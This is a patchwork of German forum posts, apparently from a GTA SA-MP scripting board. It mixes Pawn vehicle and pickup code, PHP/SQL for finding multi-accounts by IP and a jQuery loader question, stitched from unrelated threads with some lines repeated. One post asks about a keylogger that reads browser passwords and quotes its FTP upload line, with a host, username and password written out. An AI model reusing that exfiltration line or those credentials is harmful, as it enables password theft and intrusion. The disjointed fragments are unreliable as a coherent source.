Bei OnPlayerDisconnect nicht vergessen.
if(Aduty[playerid]!=0)Aduty[playerid] = 0;
Bei OnPlayerDisconnect nicht vergessen.
if(Aduty[playerid]!=0)Aduty[playerid] = 0;
probier es mal so
format(queryone,sizeof(queryone),"INSERT INTO "#DATENBANK"_fraktionsfahrzeuge (carID,Fraktion,Rang,modelid,Farbe1,Farbe2,Paintjob,HP,posx,posy,posz,posa,Interior,VirtualWorld,Abgeschlossen,Abgeschleppt,AbgeschlepptPreis,AbgeschlepptGrund,Nummernschild,Spoiler,Hood,Roof,Sideskirt,Lamps,Nitro,Exhaust,Wheels,Stereo,Hydraulics,FrontBumper,RearBumper,VentRight,VentLeft,KaufPreis,Tank,create)");
format(querytwo,sizeof(querytwo),"%s VALUES ('%d','%d','%d','%d','%d','%d','%d','%f','%f','%f','%f','%f','%d','%d','%d','0','0','NONE','%s','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','%d','0','1')",queryone);
Komisch finde ich auch, was ich zufällig bemerkt habe, dass z.B. SIT DOWN's Profil ~1.800 Kommentare hat und davon die meisten exakt den gleichen Inhalt "very good player" haben als wäre es wie das +rep für +rep System.
for(new i=0; i<sizeof(cInfo); i++)
{
if(cInfo[i][besitzer] !=XY)continue;
DestroyVehicle(cInfo[i][id_x]);
cInfo[i][id_x]=0;
}
XY durch die Variable ersetzen, die du beim erstellen des Fahrzeuges des Besitzers zuweist. Zum Beispiel sInfo[playerid][db_id].
Namen speichern:
SetPVarString(playerid, "adminname", adminname);
Namen wiedergeben (beim Offduty):
new adminname[MAX_PLAYER_NAME+1];
GetPVarString(playerid, "adminname", adminname, sizeof(adminname));
printf("Namenausgabe: %s", adminname);
wie mache ich am besten wen er keine Prods hat das er nichts abladen kann?
CodeAlles anzeigenCMD:unload(playerid, params[]) { new vehicleid = GetPlayerVehicleID(playerid); if(IsPlayerInRangeOfPoint(playerid, 5.0, 1563.6859,-1694.5925,5.8906)) { if(GetVehicleModel(vehicleid) == 428)return SendClientMessage(playerid, COLOR_RED, "Du bist in keinem Transporter!"); { new string[128], int; if(sscanf(params, "i", int))return SendClientMessage(playerid, COLOR_GREY, "{247BA6}* Benutze {33AA33}/unload [Menge]"); if(!IsPlayerInAnyVehicle(playerid))return SendClientMessage(playerid, COLOR_GREY, "** Du befindest dich in keinem Lieferwagen."); if(!(Spieler[playerid][pFraktion] == 14))return SendClientMessage(playerid, COLOR_GREY, "Du bist kein Beamter."); if(Frak[1][frakEisen] > 250000)return SendClientMessage(playerid, COLOR_GREY, "** Das Lager ist voll."); Frak[1][frakEisen] += (int); Vehicle[vehicleid][vehProds] -= int; format(string, sizeof(string), "{B4B5B7}Verbrecher mit /arrest einsperren\n\n{21DD00}Waffenkammer (LSPD)\n%d/250000\nMaterialien", Frak[1][frakEisen]); Update3DTextLabelText(lspd3d, COLOR_LSPDSTOR, string); SendClientMessage(playerid, COLOR_GREEN,"Gehalt: 300000$"); format(string, sizeof(string), "Materialien: %d/50000", Vehicle[vehicleid][vehProds]); SendClientMessage(playerid, COLOR_GREEN, string); Spieler[playerid][pBank] += 300000; format(string, sizeof(string), "* Staatskasse hat dir 300000$ überwiesen. Betreff: Materialien abgeliefert (%d)", Vehicle[vehicleid][vehProds]); SendClientMessage(playerid, COLOR_GREEN, string); } } return 1; }
if(Vehicle[GetPlayerVehicleID(playerid)][vehProds] <= 0)return SendClientMessage(playerid, -1, "Keine Produkte");
Und wenn du abfragen willst ob genug drin sind bzw. es nicht überfüllt werden soll
if(Frak[1][frakEisen] + int > 250000)return SendClientMessage(playerid, -1, "Das Lager ist bei diesem Int-Wert voll");
Davor noch abfragen, ob der Spieler sich in einem Fahrzeug befindet.
also reicht es auf Frak[1][frakEisen] += (int*1); zu setzen?
Etwas x 1 nehmen ist dasselbe als wenn die Zahl garnicht mal genommen wird. Einfach dort garnichts berechnen, sondern int einfach so stehen lassen.
CodeAlles anzeigenCMD:load(playerid, params[]) { new string[128], int, vehicleid = GetPlayerVehicleID(playerid); if(sscanf(params, "i", int))return SendClientMessage(playerid, COLOR_GREY, "{247BA6}* Benutze {33AA33}/load [Menge]"); if(!IsPlayerInAnyVehicle(playerid))return SendClientMessage(playerid, COLOR_GREY, "** Du befindest dich in keinem Lieferwagen."); if(!(Spieler[playerid][pFraktion] == 1))return SendClientMessage(playerid, COLOR_GREY, "Du bist kein Beamter."); //if(GetVehicleModel(vehicleid) == 428) return SendClientMessage(playerid, COLOR_RED,"Du bist in keinem Transporter."); if(!IsPlayerInRangeOfPoint(playerid, 5.0, 2185.9954,-2262.5286,13.5721)) { if(int < 1 || int > 50000)return SendClientMessage(playerid, COLOR_GREY, "Du kannst nur maximal 50000 Produkte aufladen."); new money = int*4; if(GetMoney(playerid) < money)return SendClientMessage(playerid, COLOR_GREY, ERROR_MONEY); if((int+Vehicle[vehicleid][vehProds]) > 50000)return SendClientMessage(playerid, COLOR_GREY, "** Du kannst nur maximal 50000 Produkte aufladen."); Vehicle[vehicleid][vehProds] += int; GiveMoney(playerid, -money); SendClientMessage(playerid, COLOR_GREEN,"Ladung: Materialien"); format(string, sizeof(string), "Menge: %d/50000", Vehicle[vehicleid][vehProds], money); SendClientMessage(playerid, COLOR_GREEN, string); } return 1; } CMD:unload(playerid, params[]) { new string[128], int, vehicleid = GetPlayerVehicleID(playerid); if(sscanf(params, "i", int))return SendClientMessage(playerid, COLOR_GREY, "{247BA6}* Benutze {33AA33}/unload [Menge]"); if(!IsPlayerInAnyVehicle(playerid))return SendClientMessage(playerid, COLOR_GREY, "** Du befindest dich in keinem Lieferwagen."); if(!(Spieler[playerid][pFraktion] == 1))return SendClientMessage(playerid, COLOR_GREY, "Du bist kein Beamter."); //if(GetVehicleModel(vehicleid) == 428) return SendClientMessage(playerid, COLOR_RED,"Du bist in keinem Transporter."); if(IsPlayerInRangeOfPoint(playerid, 5.0, 1563.6859,-1694.5925,5.8906)) { if(Frak[1][frakEisen] > 50000)return SendClientMessage(playerid, COLOR_GREY, "** Das Lager ist voll."); Frak[1][frakEisen] += (int*50); Vehicle[vehicleid][vehProds] -= int; format(string, sizeof(string), "{B4B5B7}Verbrecher mit /arrest einsperren\n\n{21DD00}Waffenkammer (LSPD)\n%d/250000\nMaterialien", Frak[1][frakEisen]); Update3DTextLabelText(lspd3d, COLOR_LSPDSTOR, string); SendClientMessage(playerid, COLOR_GREEN,"Gehalt: 300000$"); format(string, sizeof(string), "Materialien: %d/50000", Vehicle[vehicleid][vehProds]); SendClientMessage(playerid, COLOR_GREEN, string); Spieler[playerid][pBank] += 300000; format(string, sizeof(string), "* Staatskasse hat dir 300000$ überwiesen. Betreff: Materialien abgeliefert (%d)", Vehicle[vehicleid][vehProds]); SendClientMessage(playerid, COLOR_GREEN, string); } return 1; }
Hallo, ich habe ein kleines problem wen ich die mats unten abgebe in der Garage (LSPD)
sieht das so aus obwohl es nur 50.000 Stück waren und 7 Stück drinne waren.
Du nimmst beim unload den int Wert x 50 und 50.000 x 50 sind nunmal 2.500.000
Alles anzeigen
Habe es mit der Pickupzuweisung so wie in deinem Vorschlag gemacht
Habe jedoch ein kleines Problem:
CAlles anzeigenpublic OnPlayerPickUpPickup(playerid, pickupid) { for(new i;i<sizeof(GlobalActors);i++) { if(pickupid == ActorPickups[i]) { ShowMenuForPlayer(shopmenu,playerid); TogglePlayerControllable(playerid,false); } else { maxmoney = maxmoney -1; DestroyPickup(pickupid); GivePlayerMoney(playerid, 1000); printf("ID picked up: %d",maxmoney); break; } } return 1; }
Ich versuche gerade irgendwie hinzukriegen, dass der else Teil ausgefuehrt wird, wenn das aufgesammelte Pickup keine Pickupid aus ActorPickups, aber natuehrlich klappt das nicht verneunftig.
Wie kann ich realisieren, dass else erst ausgefuehrt wird, wenn die For schleife durch ist, und die Bedingung darin nicht erfuellt ist?
Probier es mal so:
public OnPlayerPickUpPickup(playerid, pickupid)
{
for(new i=0; i<sizeof(GlobalActors); i++)
{
if(pickupid != ActorPickups[i])continue;
ShowMenuForPlayer(shopmenu,playerid);
TogglePlayerControllable(playerid,false);
return 1;
}
maxmoney = maxmoney -1;
DestroyPickup(pickupid);
GivePlayerMoney(playerid, 1000);
printf("ID picked up: %d",maxmoney);
return 1;
}
kenne mich damit nicht aus aber so wie es aussieht greift es auf die Passwörter von Firefox uns chrome zu
inwiefern bzw. welche Daten hat der "Hacker" jetzt bekommen?
Und wie funktioniert der Keylogger?
Wenn man ihn ausführt, hat er den sofort alles, selbst wenn man es danach sofort wieder schließt?
ZitatProgram.Upload("ftp://ftp56.world4you.com", "ftp3788100", "hfwt7uubutthead88", text3);
Was heißt das?
Habe ein Problem mit meinem Ajax loader:
Habe oben im <head> Tag:
<script type="text/javascript">
$(document).ready(function() {
$("#container").css("visibility: visible;");
$("#load").css("visibility: hidden;");
}
</script>
und ich lass hier meinen Container ausblenden im <body> Tag:
<div id="load" style="text-align: center; margin-top: 450px;"><img src="images/ajax-loader.gif"/></div>
<div class="container" id="container" style="visibility: hidden;">
Das mit dem Ausblenden und mit dem laden des ajax-loader.gif funktioniert. Es klappt aber nicht den Container einzublenden und den ajax-loader auszublenden, wenn meine Seite geladen wurde.
Danke im Voraus
Ich würde noch den Blocksatz benutzen und die Silben trennen lassen, damit alle Leerzeichen gleichmäßig sind.
Ich hatte mir mal ein Login System erstellt.
es sah so aus:
loginregister.js: https://pastebin.gtanet.work/?…xqPmct2vL5jmoyBtVk8YhuIY=
index.html: https://pastebin.gtanet.work/?…DzG2D09a1WCIVQeCk5mt/D28=
code in meta.xml: https://pastebin.gtanet.work/?…EzLyHVb+/riKMH7ZaAgNRNMc=
Es hat bei mir funktioniert.
(link zum Bild, falls es nicht angzeigt wird: http://fs5.directupload.net/images/170122/w6by8h3k.jpg )
Wie selektiere ich hier alle id's mit der gleichen IP und lasse sie nur einmal ausgeben d.h die id's multiplizieren sich nicht?
In diesem Beispiel:
Ausgabe auf der Seite:
ID | ID's die mit der IP übereinstimmen |
1 | 1 (in diesem Fall nur die id 3) |
3 | 1 (in diesem Fall nur die id 1) |
Ich speichere in dieser Tabelle jeden Loging auf der Seite und lasse ihn eintragen.
Guten Tag,
ich bin gerade dabei alle IPs mit den Usern aus der Datenbank zu vergleichen. Sinn war, dass erstmal alle Accounts gezählt werden, die die gleich IP-Adresse haben.
Das Problem ist, dass die User doppelt gezählt werden. Außerdem werden sie sogar selbst gezählt bzw. gelistet.
Ich komme nicht weiter und brauche Hilfe.
Tabellenstruktur:
Tabellensätze:
Mein Code (1):
$query = $dbh->prepare("SELECT `$mysql->db_acc_ip_id`, COUNT(*) as multiaccs FROM `$mysql->db_acc_ip_table` GROUP BY `$mysql->db_acc_ip_ip`");
$query->execute();
if($query->rowCount() == 0)
{
echo "<div class='alert alert-info'>Es wurden keine Multiaccounts gefunden.</br></div>";
}
else
{
echo "
<table class='table table-hover'>
<thead>
<tr>
<td><b>$labels->page_multiacc_table_item_1</b></td>
<td><b>$labels->page_multiacc_table_item_2</b></td>
<td></td>
</tr>
</thead><tbody>";
while($result = $query->fetch())
{
echo "<tr>";
echo "<td>".$mysql_funcs->getUserNameById($result[$mysql->db_acc_ip_id], $mysql, $dbh)."</td>";
echo "<td>".$result["multiaccs"]."</td>";
echo "<td><a href='?page=multiaccounts&details=".$result[$mysql->db_acc_ip_id]."'><span class='btn btn-sm btn-primary'>Details</span></a></td>";
echo "</tr>";
}
echo "</tbody></table>";
}
Meine Ausgabe von Code (1):
__________________________________________________________________________________________________
Mein Code (2):
if(isset($_GET["details"]))
{
$user_id = filter_var($_GET["details"], FILTER_SANITIZE_SPECIAL_CHARS);
if($mysql_funcs->getUserLogIdbyId($user_id, $mysql, $dbh) > 0)
{
$query = $dbh->prepare("SELECT `$mysql->db_acc_ip_id` FROM `$mysql->db_acc_ip_table` WHERE `$mysql->db_acc_ip_ip` = :uip");
$query->execute(array(":uip"=>$mysql_funcs->getUserIpById($user_id, $mysql, $dbh)));
if($query->rowCount() == 0)header("location: home.php");
echo "
<table class='table table-hover'>
<thead>
<tr>
<td><b>$labels->page_multiacc_table_item_1</b></td>
<td><b>$labels->page_multiacc_table_item_2</b></td>
<td></td>
</tr>
</thead><tbody>";
while($result = $query->fetch())
{
echo "<tr>";
echo "<td>".$mysql_funcs->getUserNameById($user_id, $mysql, $dbh)."</td>";
echo "<td>".$mysql_funcs->getUserNameById($result[$mysql->db_acc_ip_id], $mysql, $dbh)."</td>";
echo "<td></td>";
echo "</tr>";
}
echo "</tbody></table>";
}
else header("location: home.php");
}
Meine Ausgabe von Code (2):
Mein Problem liegt in den SQL Abfragen. Je mehr IPs dort eingetragen sind, desto öfter werden die gleichen Spieler aufgelistet.
Beispiel:
Tabelle:
Ausgabe:
Vielen Dank für jegliche Hilfe im Voraus.
Alles anzeigenIch brauch mal einen Rat
Habe diese Abfrage:Codeif(IsPlayerInRangeOfPoint(playerid, PickUp[0][pX], PickUp[0][pY], PickUp[0][pZ], 10.0) && GetPlayerVirtualWorld(playerid) == PickUp[0][pVW])
Hier die Coordinaten (ist zurzeit nur einer deswegen auch die 0
Code{"Hier /ausweis eingeben\num ein Ausweis zu beantragen", 1239, 2309.4641, -10.8730, 26.7422, 1} //Meldeamt Ausweis Hinweis
Aber aus irgendeinen Grund erkennt er das nicht.
Es wird immer gesagt dass ich nicht in der nähe bin
(Coordinaten hab ich geprintet und die stimmen auch)
Hier mal was ich meine:Bearbeiten
http://wiki.sa-mp.com/wiki/IsPlayerInRangeOfPoint
Zuerst kommt der Radius, dann die Cords
Ich verstehe dein übergeben nicht ganz, tut mir leid. Hättest du den ein Bespiel, damit ich einen Ansatz habe?
Das versuche ich ja, indem ich meine mysql.class in der function() einbinde. Nur das Problem ist, wenn ich dies tue, dann habe ich es zwei mal geladen und ich bekomme den Fehler den Fehler: Fatal error: Cannot redeclare class.
//edit: Wie macht man den sowas sicher, bin noch Neueinsteiger?